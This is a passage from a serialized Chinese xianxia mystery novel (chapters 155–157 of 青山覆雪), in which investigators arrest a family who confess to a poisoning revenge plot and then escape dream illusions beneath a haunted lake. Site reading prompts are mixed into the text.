若没有她,辛时年本可以快快乐乐的长大。 可他却因为自己的影响,日复一日地学会了在人前伪装,哪怕忍着恶心也要同那崔家交好。 然而,当初那颗带着恶意的种子已然长成了参天大树,平静的土壤下是盘根错节的根系。 纵使她心生拔除之意,可想要一丝不落的清除干净又谈何容易? “儿啊,要不……你带着她们娘俩走吧,娘回去认罪。” 辛母泪眼朦胧地望着眼前的一家三口,声音哽咽地说道。 她不想辛时年的下半辈子,都活在杀过人的阴影之中。 尤其是她孙子辛保旭,那孩子如今才两岁不到。 他应该是一尘不染的,不受任何黑暗侵蚀的,哪怕是站在那刺眼的太阳下也能行的正,坐的直。 他不该……也不能如她这般,带着恶意生根发芽,在阴暗无光的角落里畸形生长。 以至于不敢抬头仰望太阳,不敢直视他人打量的目光,生怕一不留神儿就会被他人看穿自己的内心是多么的肮脏。 辛保旭是她的希望,也是辛家能够重新开始的希望。 “娘你说的这是什么话?我有什么罪?他们本就该死不是吗?这不是你从小就教我的吗!”辛时年焦躁的站起身反驳道。 且不说那崔家父女本就该死,就单说那唐振,他又是个什么东西? 表面上把自己装的像个人样,实际上他就是那令人作呕的蛆虫! 他就是故意让唐振发现自己和辛小淇有染,就是故意要燃起他心底的恶意,就是要借他的手除掉自己想害的人。 可那狗东西居然敢绑架自己的家人,甚至还冠冕堂皇的说:只是请他们到府中小聚。 他娘的谁家好人招待客人,是用绳子捆起来招待的? 那狗东西甚至还把主意打到他夫人身上! 竟当着孩子和他娘的面去做那种事,他怎么敢?又怎么能? 他分明就是不想活了! 那他辛时年就当一回善人,大发慈悲的成全他好了。 你看,我下手比你稳多了。 只需一刀,就能结束你所有的疼痛。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第155章 花开遍地 “苓儿,走了。”几人路过唐家门前时,江洵微微侧身,朝着坐在院子里正发着呆的冬苓扬声喊道。 冬苓闻声抬起头来,目光穿过院门,落在了江洵身上,笑着应声道:“来啦!” 唐母听到动静,快步从房中走出,看到江洵时,眼中闪过一丝希冀之色,开口问道:“不知二位公子可有查到什么有用的线索?” 然而,江洵只是摇摇头,让她回去先等消息,并说此案已交由衙门处理。 “衙门???”唐母听后,脸色变得有些难看,沙哑着嗓子呢喃道。 冬苓走到门前时,顿住了步子,回眸说道:“婆婆,是恩是怨、是对是错,自是要交给衙门评判,而非你的一面之词。” 这世间因果,并不是谁吼得声音大,谁就是对的。 也不是谁姿态放的低,谁就是无辜的。 冬苓出门后,捎带着把唐家的院门微微合上。 几人侧身上马,一抖缰绳,马蹄扬起阵阵尘土,沿着来时的道路疾驰而去。 而院中,只留下唐母独自一人站在院子中央。 她不是没有留意到崔小淇肩膀处的纱布和衣领上的血渍,不用想也知道那是他儿子所致。 若这案子交到衙门手里,那她儿子岂不是也要成为罪人? 就算是找到杀害他儿子的凶手,唐振曾持刀伤人的罪名也无法洗清,那他们唐家以后还如何在隅湘立足? 想到此处,唐母不禁悲从中来,泪水顺着脸颊缓缓滑落。 她不是知道自己错了,她是知道自己以后再也无法抬头见人了。 因为她用了大半辈子去积攒下来的好名声,顷刻间要荡然无存了。 途中,崔小淇有些不解的问向傅霖:“方才找到的那个木雕,为何不询问一下老太婆,那是何来历?” 傅霖闻言,平淡地回道:“只要她人还在隅湘,那便什么时候都能问。但辛时年那厮,去晚了就有可能让他给跑了。” 孰轻孰重他分得清,眼下解决命案才最要紧。 至于木雕,虽存疑,但也得往后稍稍。 等几人赶到崔小淇家中之时,已经有衙门的差役守在两家门前了。 不得不说,秦在锦喊人的速度就是快。 这阳春门副掌门的身份就是好使哈。 三年前,秦方礼决定云游四方,并将掌门之位交到了秦念淑手中。 而她上位没多久,便带着阳春门的部分医师离开了淮州。 一行人每行至一个地方时时,都会在那逗留个把月。 她目的只有一个,要在整个大陈境内开设更多隶属于阳春门的医馆,让大陈的百姓都能治得起病。 这个决定在她最初提出的时候,遭到了秦方礼的强烈反对。 他并非是不认同她的想法,而是觉得此法劳神费力不说,到最后极有可能会得不偿失。 可秦念淑不这么认为,她正值青春年华,她有的是时间和精力去尝试。 况且,苏晚晴早年还住在栖花里时,就萌生过这个念头,只是未曾来得及实施,就去世了。 若是能和中律司一样,在大陈各个城池州市设立阳春门,那岂不是能拯救更多的百姓。 至于驻地医馆的主治医师,可以从淮州阳春门借调一位过去坐镇,而医馆里其他的大夫,则可从当地的医馆中筛选出合适的人选。 最后,终于在她的软磨硬泡下,秦方礼还是松口了。 而第首个试点便是青州,阳春医馆开在了首阳大街,也就是献岁山脚下。 而今年年初,仁州的阳春医馆也顺利开张了,所处位置同隅湘县相邻,方便两地居民前来就医问药。 当秦在锦传信给医馆,让药师帮忙报官时,那边十分迅速的交了差。 他们知道副门主平日里,虽不插手阳春门事务,但也在用另一种方式守护着大陈的百姓。 故而,但凡是他的委托,定会尽力完成。 冬苓轻盈地翻身下马,而后伸出手去扶崔小淇的胳膊,等她稳稳着地后才放心地松开手。 “如何?”秦在锦瞥见几人的身影,朝几人快步走来。 江洵摇了摇头,意思是并未在唐家发现辛时年此人。 秦在锦见状刚想叹气的时候,江洵又开口道:“不过么,小纸人在镜湖的一间客栈里发现了他们一家四口的身影。” “洵哥,你这句话可以先说的。”秦在锦说道。 “那我们现在过去?”邱漓探出头来问道。 “嗯。”江洵回应。 临行前,秦在锦同衙役轻声交代了几句。 告知他们已经探寻到辛时年的藏身之所,请他们派遣几名人员紧跟在自己身后,一同前往。 那位领头的衙役听后,微微颔首表示明白,并示意秦在锦等人先行一步带路。 一行人越往前行,越能看清楚那幽静的湖泊。 它宛如一位遮着面纱的姑娘,让人忍不住地想要靠近它,一睹那面纱后的真容。 在即将靠近居民区时,几人纷纷下马,傅霖将小纸人放了出来,由它带路。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!好巧不巧,几人给马拴绳的时候,正巧撞见那辛时年一家从客栈出来。 看样子,应该是刚刚与掌柜谈妥了租用马车的价格,此刻掌柜的正满脸笑容地跟辛时年说着归还马车的相关事宜。 “分散开。”傅霖压低声音,对身后几人说道。 他不是怕抓不住辛时年,而是怕那人情绪失控之下,会伤及到无辜的百姓。 毕竟,那可是个不折不扣的疯子。 因此,采取分头包抄的策略无疑更为稳妥可靠些。 而辛时年此时,还浑然不知自己已经被人重重包围了,正盘算着到了东宁以后,先带家人吃一顿好的。 可正往前走着,跟前儿出现一位器宇轩昂的公子,那双深邃的眼眸正直勾勾地盯着自己,仿佛早就相识一般。 但在他印象里,可不认识此等俊美之人。 “辛时年?”傅霖眯起眼睛,向眼前之人确认道。 听到这个名字从对方口中说出,辛时年心中暗叫一声不好,下意识地便要转身拔腿逃跑。 然而,就在他刚刚有所动作之时,却发现身后不知何时已站着另一个人——江洵! 而当他转头看向自己的家人时,发现她们已然被另外两位姑娘牢牢控制住了。 “你们是谁?” 辛时年强装镇定,色厉内荏地喝问道。 与此同时,他右手迅速一挥,从袖中掏出一柄锋利的匕首来。 江洵见状,不禁微微挑起了眉毛,这匕首与之前在唐振尸体上发现的那把几乎一模一样。 怎么的?匕首还得买一样的? 不过想来也对,毕竟这俩人曾经可是“好兄弟”。 傅霖听他这么发问,不紧不慢道:“我们是谁不重要,倒是你,跟我们回衙门一趟吧。” 辛时年毫不犹豫地拒绝道:“我没时间。” “这是你没时间的问题吗?” 一旁的秦在锦闻言,忍不住翻了个大大的白眼,没好气儿地继续怼道,“咋的,衙门是您家开的不成?去不去还得看您心情、瞧您时间啊?” 辛时年却是丝毫不以为意,继续装傻充愣起来,“不然能是什么问题?” 见此情形,傅霖脸色一沉,目光紧紧盯着辛时年,“唐振是不是你杀的?” “不是。” “你家人是不是他绑走的?” “不是。” “那这簪子......”傅霖边说边将那银簪子掏出来给他看。 辛时年看到簪子后露出惊慌失措的表情,并迅速朝着自家娘子所在的方向望去。 这一路上走的匆忙,以至于他根本无暇顾及万怡头上是否还佩戴发饰。 而反观那万怡,她虽有片刻慌乱,但好像早就知道自己的发簪不见了,甚至对于它是何时不见的都一清二楚。 “你可还有话要说?”傅霖再次开口追问。 辛时年回过头,不由自主的做了一个吞咽的动作,强装出一副若无其事的样子说道:“一个簪子而已,能证明什么?兴许是掉在地上被人捡了去也说不定。” 傅霖闻言,冷哼一声,真是死鸭子不怕开水烫。 “照你这么说来,是那唐振捡了你媳妇的簪子,又将其扔到了老宅?” “那谁知道呢。”辛时年始终低着头,不肯承认。 “行了,问答到此为止。” 傅霖面无表情地转过身去,将簪子递给冬苓,让她转交给万怡。 簪子离手的刹那间,一道寒光闪过,行野剑已召在手中。 只不过,剑尖稳稳地指向辛时年的母亲。 辛时年见状,顿时瞪大了双眼,声音颤抖地问道:“你要做什么!!” “那谁知道呢。”傅霖学着他的话回道。 听到这话,辛时年气得脸色发青,怒吼道:“我娘是无辜的!!!” “兴许吧。”傅霖无所谓地耸了耸肩,轻描淡写地回道。 “好好说话。” 江洵掠过辛时年,冷冷瞥了傅霖一眼。 察觉到江洵不满的目光后,傅霖那敷衍的神情才稍稍收敛了一些。 “崔进西曾说过,他夫人并不是在怀上孩子之后身体才逐渐变差的。” “而是从你隔三岔五给她送去那些吃食之后,病情便日益加重,最终甚至连肚子里的孩子都没能保住。” 秦在锦审视着辛母,上前一步继续追问道:“你且说,这难道仅仅只是一个巧合吗?” 本以为那她会同她儿子一样,摆出一问三不知的态度,没成想她却神色坦然地认下了。 “我下了慢性毒,直到死,崔家都以为她是因为难产才去世的。” 当年,崔进西也曾多次请来郎中为妻子诊治。 可是那些个郎中给出的结论无一例外,皆是说孕妇怀孕期间身子太过虚弱所致,只需平日里多加进补即可。 然崔进西本就没钱,一家人光是吃饱饭都成了问题,更甭提还要买补品给他夫人调养身子。 而辛母让他不用太过忧心,每隔几日她都会将做好的饭菜多盛一份,给崔进西夫人送过去,并亲眼看着她吃完以后才走。 这章没有结束,请点击下一页继续阅读!正因如此这般,崔进西对辛家的感激之情可谓溢于言表。 可谁曾想这送去的不是滋补之物,而是致命之毒。 “崔家那老太太不是郁郁寡欢去世的,她那放在床头的安神香,是我送的。虽不致死,但以她那个年纪,乱了心神便也活不了多久。” “娘你在说什么?”辛时年内心焦急万分,想让她别再说了。 可辛母心里十分清楚,今日无论如何,终究是躲不过了。 “小时啊......娘错了,娘不该教你这些,不该让你成为娘报仇的一把刀。” 辛母声音颤抖着,浑浊的双眼含着泪珠,长叹一口气后继续道:“崔家没有错,从始至终都没有错。” “可他们不是......”辛时年急忙想要反驳,话还没说完,便被她娘厉声打断。 “可他们也只是想活着!这世上没人不想活着!正如娘......也想你们能好好活着。” 说到这里,辛母已是泣不成声,她泪眼朦胧地转头看向江洵等人,扑通一声跪倒在地,哀求道:“你们带我一人走吧,崔家的人都是我杀的,同我儿无关。” 江洵见状,朝傅霖使了个眼色,示意他将剑收回去。 他怕那老太婆万一心存死志,不顾一切地朝剑尖撞去自杀身亡,那可就麻烦了。 他们母子俩就算要杀,也理应衙门定罪之后再杀,而眼下,断不能由他们私下动手。 等衙门的人都赶到以后,秦在锦才松了口气,将这一家子交到他们手中。 “这么说,那房梁上的剪刀也没啥用啊。”邱漓皱着眉头,不解说道。 傅霖则神色淡然地回应道:“倘若有用,人人都用这种术法害人了。” 无论是助人术,还是害人术,在很多时候其实都只是起到了心理暗示的作用罢了。 当然,或许对于辛母来说,这法子就是有用呢。 毕竟她一心想要害的人,确实都死了不是么。 过了片刻,冬苓转过身去,望着不远处那如镜子一般的湖面说道:“既然来到镜湖了,那咱们要从何处开始追查?” 话音刚落,秦在锦便迫不及待地提出建议:“要不咱直接乘船过去。” 听到这话,江洵不禁露出一抹戏谑的笑容,调侃起秦在锦来:“呦,咱们锦哥的胆子几时这般大了。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第156章 人定胜天 “只要不是鬼,一切都好说。” “可我听人说,湖底下住着的那位,可能是水鬼。”江洵回。 这句话犹如一道惊雷,让秦在锦心头一紧。 “咳......那个......我觉得,咱还是应该三思而后行。” 那可是水鬼!!!会索命的水鬼!!可怕得很!!! 镜湖虽美,但他更喜欢站在岸上看,不喜欢躺在湖底看。 只见傅霖从乾坤袖中掏出一个锦盒,里面放着几颗洁白如珍珠般的药丸。 “这是避水珠,可确保我们在入水后依旧能自由地呼吸,但是切记,一颗只保三个时辰。” 也就是说,他们五人无论是主动入水,还是被那妖物拉下水,也只有三个时辰的时间去查线索,亦或是直接杀掉那妖物。 邱漓伸手接过后,好奇地将其放在掌心之中,打量道:“那我能一下用两颗吗?” 傅霖先是微微一愣,随后笑道:“能啊,但不建议。” “为何?” “这种有违人体构造的药物本就对身体有害,一日内顶天了也只能用两颗。若贪多强用,那就不是死于溺水了,而是会爆体而亡啊,我的好妹妹。” 说到这里,傅霖无奈地摇了摇头。 人定胜天又如何? 人终究也只是人。 一旁的秦在锦却盯着这药丸发起了呆,他不是没有听说过这种东西,但据他所知,避水珠向来只产自龙潜谷。 而龙潜谷是什么地方就不言而喻了。 其实当初接下这个任务,在看到奖励中有避水珠的时候,他就有所疑惑了。 中律司的悬赏中,为何会掺杂着龙潜谷的东西? 那如今的中律司,还只是大陈的中律司吗? 至于傅霖的身份,他心里已然有了大概。 起初发现的时候,还对他有所顾忌,担心这人会心怀叵测的伤害江洵。 可又转念一想,他若是那人的儿子,想来本性也不会差。 况且,这几年的时间相处下来,他已然接纳了傅霖。 他长这么大,学得最快并且最为擅长的东西就是“接受”这两个字。 接受离别,接受人性,接受不同。 “怎么了?”冬苓察觉到秦在锦的异样,歪过头来轻声问道。 秦在锦回过神来,装作若无其事地回:“没,就是觉得霖哥给的这个可是好东西。” 说完,他还故意晃了晃手中的避水珠,露出满意的笑容。 傅霖闻言看了过去,他又怎会不知秦在锦心里的顾虑。 “喜欢的话,回头送你一箱。” “那敢情好,先在此谢过霖哥啦。”秦在锦朝傅霖拱了拱手,做了个道谢的手势。 只见傅霖微微颔首,用眼神示意他甭客气,都是自家兄弟。 几人商量了一下,决定直接买下一只容纳五人乘坐的船。 原是想着租借一只,但又考虑到,万一几人到了湖中心,不幸遭遇意外,那这人和船就都回不来了。 老板岂不是亏大发了,索性还是买下来省事儿。 待船身缓缓离开岸边,刚行驶出没多远,江洵就察觉出一丝异样。 明明他们这边坐着三个大男人,而另一侧只坐着邱漓和冬苓,按理说应该是他们这一侧的船身入水更深才对。 可这怎么看,都是冬苓所在的那一侧船底,吃水要更重一些。 莫非还真是水鬼? 可这未免也太心急了些。 江洵轻抬右手,手指弯曲,做出一个轻敲的动作,示意其他人船底有问题。 身旁的傅霖见状挑了下眉,心领神会地点了点头。 小船就这么侧倾着劈开了平静的湖面,一直驶到湖中心时,骤然间停了下来。 此时夕阳已逐渐西沉,橘红色的余晖洒在湖面上,周围一片寂静,像是一位沉思的老者。 而四周不知何时升起一层薄薄的雾气,如烟似缕地弥漫开来,使人看不清远处的景象。 在众人面面相觑之时,一阵诡异而有节奏的“咚咚咚”声突兀地响起。 不知是什么东西正一下接一下地敲击着船底,在寂静的湖面上回荡不息。 秦在锦紧张地屏住呼吸,缓慢将双脚抬起,他生怕脚下会突然伸出一只苍白的手,冲破船板直接拽住他的脚踝! 咚咚声萦绕在耳畔,能听得出那东西正围着船身转悠,每过一寸便敲响一次。 江洵起初还算镇定,想要从这声响中找出些什么蛛丝马迹。 但渐渐地,他发觉那声音像是催眠曲一般,让他感到眼皮越来越重,意识也逐渐变得模糊。 他强迫着让自己清醒一些,伸手用力地掐了掐自己的大腿。 尖锐的疼痛瞬间传遍全身,让他不禁松了口气。 能感知到疼痛,那情况就不是很严重。 “发什么呆呢?” 一个熟悉的声音从头顶上方传来。 江洵浑身一震,急忙抬起头来。 这哪里还是在镜湖,这分明是在三阁的院子里,池面上漂浮着几片银杏叶,而他此时正躺在陈叔的那张摇椅上! 本小章还未完,请点击下一页继续阅读后面精彩内容!“师…父??” 江洵瞪大双眼,满脸都是难以置信的神色,颤抖着嘴唇轻声问道。 “做噩梦了?瞅瞅这头上的汗。”江挽一边柔声说着,一边掏出帕子递了过去。 “噩......梦??”江洵呆愣着,没有丝毫动作。 眼前的一切显得如此真实,根本不似虚幻之境,可他方才分明是在镜湖的船上。 见江洵迟迟没有接过帕子,江挽倒也并未多言,只是轻轻一笑,将手中的帕子放置在他身旁的石桌上。 “傅霖呢?”江洵突然坐直身子,急切地问道。 “啧啧啧,孩子长大了就是留不住哈,瞅瞅这一觉睡醒就找傅霖,那么喜欢的话,干脆你搬去一阁住得了。”身后传来瑶卿的声音。 那人正手持银环,放在身前轻轻摇曳着,端的是一副戏谑的表情。 “那可使不得,小洵儿进了三阁就是咱三阁的人,哪儿都不能去!” 这时,坐在石桌对面的陈叔放下手中的酒杯,一脸严肃地说道。 而在他身旁,赵玉洲正蹲在地上,聚精会神地与郜林斗着蛐蛐,时不时还发出几声兴奋的呼喊声。 “你可是先生!!你怎么能悔棋呢??” 不远处传来慕语的声音,他此时正同方知许下棋,桌腿旁蜷缩着正在熟睡的哈哈。 “先生也是人啊,先生也有后悔的时候啊!” 方知许笑着回道,丝毫不觉得自己有任何问题。 当察觉到江洵那略带打探的目光时,他回眸望去,同时冲江洵眨了下眼,示意他可别跟着学悔棋。 “晚上想吃什么?让厨房给你做。”江挽问道。 “我想吃糖醋排骨。”秦在锦噘着嘴巴央求道。 可跟前儿的秦念淑闻言后,却没有给出一点儿回应。 秦在锦再次撒娇道:“阿姐,弟弟好不容易回一趟家,你就不能依我一次吗?” “不行!今晚必吃鸡!”秦念淑斩钉截铁地反驳道。 秦在锦眼瞅着谈判失败,哼哧一声,夺门而出。 经过花园时,看到了池子里荷花开了,顺手摘上一支带去给秦方礼。 等他来到书房,先是讨好似的给秦方礼奉上一杯茶,想让他出面教训一下秦念淑。 可秦方礼接过茶后,只是无奈地耸了耸肩,露出一副爱莫能助的神情。 毕竟,就算是亲爹的话,秦念淑也根本不会听。 秦在锦失望的叹了口气,转头看向一旁的柏川。 罢了,这人不用问也知道,他是赞同吃辣子鸡的,毕竟他二人口味一致。 秦在锦无语地翻了个白眼,怎么回到家想吃顿自己喜欢的菜就那么难? 不是都说归家的孩子是个宝吗? 怎么到了他们家就变样了呢!!! 这家庭弟位什么时候才能上升? “你就不能硬气一回?” 冬苓恨铁不成钢地看着眼前的五哥,忍不住摇头叹息。 五哥有些委屈的回答:“硬气了。” “然后呢?” “被揍了。”他一边说着,一边低下头去,声音越来越小。 冬苓听了这话,真是觉得又好气又好笑,整个家里就数老五的性子最为温和绵软。 可有时候脾气过于好了也不行! 回回都被三哥拿捏的死死的。 谢淮之抬眸看向冬苓,那动作看似不经意,但却牵动起了眼尾那颗小小的黑痣,让他整个人看起来越发委屈。 冬苓见状,挺身而出挡在了谢淮之面前,双手叉腰道:“祁老三你能不能对我五哥温柔点?你再这样我就让大哥揍你了!!” 这一嗓子,嚎的池子里的鱼都扑腾一声游走了。 祁三闻言撇了撇嘴,满脸不服气地反驳道:“你这丫头,往后少在大哥跟前儿告状!” “那你倒是少欺负我五哥啊。” 见两人坚持不下,祁三翻了个白眼,解释道:“我让他少跟官场那群人来往,专心打理阁中事宜便好,可他偏偏不听劝,你说他是不是该揍!” 冬苓一听这话,觉得他们三哥说的十分在理啊! 朝堂之事复杂多变,一不小心就可能惹祸上身。 而谢淮之入朝堂,跟那兔子进了狼窝有啥区别? “有区别!!”邱漓眨着眼睛看着姐姐,大声说道。 邱沄嘴角微微上扬,饶有兴致地追问道:“哦?有什么区别?” 说话间,伸手将邱漓鬓角旁几缕调皮的发丝轻轻拢到耳后。 邱漓先是羞涩地笑了笑,而后看向不远处的坞面,轻声道:“最大的区别便是......我原来可以是自由的。” “阿姐你知道吗?青州有座献岁山,山上有个种着银杏树的小院子,院儿里的人都待我很好!”说到此处,邱漓脸上洋溢着幸福的神采。 “他们和嬷嬷不一样,不是因为我聪明才待我好,而是因为我是邱漓,我可以只是邱漓。” “哦,对了!我在鸣蜩山的时候认识个奶奶,那奶奶也待我极好,等过两天,我定要带阿姐去探望一下奶奶。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!邱沄始终面带微笑倾听着妹妹的讲述,不时插上一两句话表示回应,但更多的时候是当一名倾听者。 “小展怎么不说话?”邱漓看着坐在一旁专心画画的小公子。 听到邱漓的问话,展洄手中的画笔稍稍停顿了一下。 他抬起头来,清澈的眼眸望向邱漓,微微一笑回答道:“你说你的,我在听。” “好哦,欸我刚刚说到哪儿了来着?”邱漓顿了顿,皱起眉头回想着。 “说到你这个月为何没往家中寄信!小兔崽子少给我岔开话题!”林笑君气的翻了个白眼。 真是给自己养了个仇人出来,怎得别人家的孩子就那么听话,他们家这个就让她气不打一处来呢。 傅霖闻言,脸上露出一抹略带讨好意味的笑容,快步朝着林笑君走去。 待走到她身后站定,双手轻柔地放在林笑君的双肩上,开始揉捏起来。 嘴里还嘟囔着说道:“阿娘,我这不也是忙起来忘了么。” 但林笑君对于傅霖的讨好并不买账,没好气地回道:“你总是有用不完的理由。” 话落,抬头拍了一下傅霖的手背,示意他力道再重一些。 此时,坐在一旁喝茶的傅玩平,清了清嗓子,插嘴说道:“孩子大了,多出去闯闯是好事啊,干嘛老是牵着他呢。” 这话一出,傅霖仿佛找到了知音,连忙用力点头,同时还不忘朝他爹竖起了大拇指。 林笑君微微眯起双眼,似笑非笑地转头看向傅玩平,柔声道:“哦?是吗?这么说,你也是想出去闯闯了?毕竟你年纪可比钺儿大多了。” 傅玩平何等聪明,怎会听不出自家夫人的弦外之音? 他心中暗叫不好,连忙摇头为自己辩解::“不不不,我可不是这个意思,我也不想出去闯荡!” 紧接着,他又迅速将矛头指向傅霖,板着脸呵斥道:“钺儿方才怎么说话的?还不快跟你娘道歉!!” 傅霖一脸疑惑的用手指了指自己,嗯???我????又我???? 他本来都要气笑了,可当他无意间看到林笑君颈间的项链时,不禁愣住了。 这项链......他不是还未送出去么? 前些时日,三人陪着苓儿和阿漓逛珠宝铺子时,他的目光瞬间被一条项链吸引。 那项链由一颗颗晶莹剔透的宝石串联而成,宛如夜空中的星辰。 他觉得若是戴在林笑君颈间,那必定好看极了。 本是打算等镜湖的任务结束后,连同家书一同寄给林笑君。 可是......镜湖??? 是了!他此刻难道不应该是在镜湖的船上么? 而陪在他身旁的人,难道不是江洵吗? 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第157章 倾诉思念 那眼前的场景又是什么?? 傅霖逐渐停下手中的动作,林笑君察觉出他的异样,回头关切地问道:“钺儿这是怎么了?” “阿娘这项链......” 傅霖问出这话的时候,声音有些沙哑,因为他自己都不确定。 林笑君闻言,有些不解的问道:“嗯?这不是钺儿送我的礼物吗?” “不对......我明明还未送您。” 傅霖楞在原地,如梦初醒般地反应过来,这儿分明就是幻境。 不,或许是一种比幻境还要真实的东西。 这里的一草一木、一人一物都栩栩如生,没有丝毫破绽。 真实到让人无法分辨出真伪,因为它太过美好和温馨,让人想要一直沉溺其中,甚至......永远不愿苏醒。 他得出去! 他必须出去! 江洵还在外面。 江洵…… 傅霖刚要抬脚踏出房门的那一刻,身后传来熟悉的声音。 “师兄。” 傅霖身体猛地一僵,他听得出这是江洵的声音,是那人许久未喊出口的师兄。 仿佛带着岁月的痕迹,轻轻地敲打着他的耳膜。 他缓缓转过身去,目光有些迟疑地落在那人身上。 还是那双清澈的眼眸,嘴角挂着淡淡的微笑,一如往昔那般让他感到亲切。 当视线不经意扫过脖颈,又看到了那颗让他无数次想要伸手触摸的红痣。 “师兄要去哪儿?”江洵向前迈了一小步,轻声开口问道。 傅霖冷冷地盯着眼前人,沉默片刻后,一字一句的回道:“你不是江洵。” “我是。” 傅霖冷笑一声,再抬眸望向“江洵”时,那双眼里已再无最初的怀恋。 他心里清楚,江洵不会再喊他师兄了,早在三年前就不会了。 刹那间,剑鸣声响起,行野已握在手中。 目前还不知道其他几人怎么样了,他得赶紧让自己清醒过来,得想办法出去。 只是他这边转身离去,身后的江洵就快步追了出来。 傅霖反手一挥,长剑在空中划过一道凌厉的弧线,随后重重地劈在了地面之上。 只听见"咔嚓"一声脆响,坚硬的地面瞬间裂开了一道深深的裂痕,犹如一条狰狞的巨蟒横亘在两人中间,成功地拦住了江洵的去路。 “别再向前了。” 饶是幻境,他也不忍再伤他。 出门没有多远,他便听到了不轻不重的咚咚声,他记得这是从船底发出的声音。 傅霖循声而去,越靠近河流时,那敲击的声音便越重。 河…… 在面临跳河和劈河两个选择之间,他毫不犹豫地选了后者。 毕竟前者应当……不太可能。 当行野劈向河面的刹那间,水流向两侧分散开来,犹如撕裂了整个空间。 与此同时,一道刺眼的寒光骤然闪过,令人不禁为之侧目。 他感觉整个人都被汹涌澎湃的水流紧紧地包裹住,那种感觉既冰冷刺骨又让人有些喘不过气来。 待到傅霖睁开双眼,映入眼帘的是一具面色苍白如纸、毫无生气的尸体。 而那尸体的长发如同有生命一般,死死地缠绕束缚在自己的身体周围。 他越是拼命挣扎,那发丝就缠得愈发紧实,简直快要和那具尸体紧密地贴在一起。 当傅霖准备采取行动时,听到不远处传来一阵挣扎的声响。 他偏头看去,只见邱漓那小丫头正使出浑身解数,奋力地用脚猛踹着身前的一具散发着恶臭的腐尸。 瞧她那副模样,显然是比自己更早苏醒过来。 此时,行野剑破水而出,环绕在傅霖的身侧。 他小心控制着力道,驱使着行野朝着身前的尸体稳稳斩去。 趁着头发稍稍松开的间隙,傅霖瞅准时机,用尽全身力气飞起一脚,将那尸体猛地踹入河中。 紧接着,他迅速转身向着邱漓所在之处游去。 两人相遇之后,彼此并未多说什么废话。 傅霖简单地向邱漓打了个手势,示意她赶紧去救还处于昏迷状态的冬苓,然后尽快上岸离开这个这里。 而他负责去叫醒同样沉睡不醒的江洵和秦在锦。 万幸的是湖底没有什么别的东西出来阻止他救人,所以眼下只需将这二人拖上去就行。 透过湖水的微弱光线,大致可以判断出他们陷入幻境已经有一段时间了。 只是,具体过去了多久,还尚不可知。 虽在上船之前就服用了避水珠,但念其功效只有三个时辰,他不能拿命去赌自己不确定的事情。 况且,水战本就对他们不利。 不论是移动的速度还是施展灵力的威力,一旦置身于水下环境,都会受到严重的削弱和限制。 再加上长时间都不能呼吸,那绝对是必死无疑。 就在傅霖快要接近水面的时候,他突然发觉身后似乎有人在盯着他们,下意识的向湖底望去。 只见那一望无际的湖水深处,隐约浮现出一个身着白色长衫的男子身影。 这章没有结束,请点击下一页继续阅读!那男子宛如幽灵一般静静地伫立在那里,一双眼睛死死地紧盯着他们,透露出令人毛骨悚然的寒光。 许是察觉到傅霖的回眸,那人原本阴沉的五官在瞬间绽放出一抹诡异至极的笑容。 那笑容活脱脱的像一只饿极了的野狗发现了美味的猎物,贪婪又凶残。、 由于距离过远,再加上湖水本身的浑浊以及昏暗的光线,傅霖只能模模糊糊地感觉这人看起来有些面熟,可一时之间想不起来在哪儿见过。 船在不远处,邱漓心急如焚的站在船头,朝水面四处张望着。 在看到傅霖等人浮出水面的身影时,连忙施术,驱使着船只迅速向他驶去。 与此同时,一直处于昏迷状态的秦在锦,也在重新呼吸到新鲜空气的那一刻悠悠转醒。 那人浑身上下早已被水浸透,若不是眼眶微微红着,根本就看不出他方才哭过。 船身在水中微微摇晃,冬苓也逐渐从幻境中苏醒。 她茫然地看着周围的幻境,了解此刻的状况后瞬间坐直了身子,伸手去接准备登船的傅霖等人。 待人都稳稳的入船以后,傅霖喘了几口粗气,显然此番消耗了不少体力。 待气息稍微平息一些后,他抬头望向几人,开口问道:“去哪儿?” “去琼州,我来御船。”冬苓说道。 琼州位于南华城西南方,是距离此处最近的地方,也是目前对于他们来说最安全的地方。 因为玉沙阁就建在此地。 “洵哥还没醒来吗?”秦在锦不禁皱起眉头,有些担忧的问道。 “无碍,醒来不过是迟早之事。” 傅霖说话间,抬手运起内力,一股温暖的气流自掌心涌出,轻轻拂过江洵潮湿的发丝。 片刻之间,那些原本还滴着水珠的头发便已变得干爽起来。 而他自己浑身还湿漉漉的,额间的发丝凌乱的贴在脸侧也毫不在意,转而又用内力去烘干江洵的衣服。 “欸,你是怎么醒来的?”傅霖有些好奇地问道邱漓,这丫头居然比他醒的早。 被问话的邱漓微微一怔,脸上流露出一丝落寞之色,有些勉强地笑道:“因为自由。” 深塘坞可以有阿姐和小展,但唯独不会有自由。 所以从头到尾,她都知道那只是个幻境。 可即便心知肚明,她也愿意清醒的沉溺其中,滔滔不绝的同那二人说着她的心事。 等到思念诉尽,她再逃离幻境。 在几人谈话之时,躺在旁边的江洵已经悄然醒转。 傅霖捕捉到他睫毛轻微的颤动,便知这人已经脱离危险了。 但见江洵迟迟不愿睁开双眼,他就暂且当做没看见。 江洵起初不是没有怀疑过那是幻境,可周遭的一切都太过真实,令他几乎难辨真假。 恍惚间,他觉得自己就是回到了三阁,而镜湖......才是他的一场梦。 围炉煮茶,月下闲谈,这些看似稀松平常的日子,对于江洵而言,却是万般珍贵。 直到他听到江挽说出那句:“我当下过得圆满。” 刹那间,他恍如大梦初醒般,不自觉地笑出了声。 江挽过得圆满? 她怎会觉得圆满? 她在江洵进三阁之时,就曾言道,人这一生终究不会圆满。 因此,无论是往昔,还是当下,以江洵的心性,她绝不会说出这句话。 而幻境里的江挽之所以会这么说,无非是因为江洵自己内心深处,想让江挽的人生过得圆满,哪怕须臾......也足矣。 原来能困住他的,居然是三阁再平常不过的日常。 正当此时,船只缓缓地靠向了岸边,冬苓动作敏捷地当先一步跳下了船,紧接着便转过身来,伸手去搀扶身后的邱漓。 就在傅霖刚站起身来的刹那,江洵几乎与此同时也从座位上坐直了身体。 二人对视一眼后,并未多言,就下了船。 几人跟着冬苓穿梭在喧闹嘈杂的巷子里,七拐八绕间,来到一座府邸门前。 冬苓走上前,轻轻扣响了铜制门环。 没过多久,一阵急促而有力的脚步声便由远及近地传了过来。 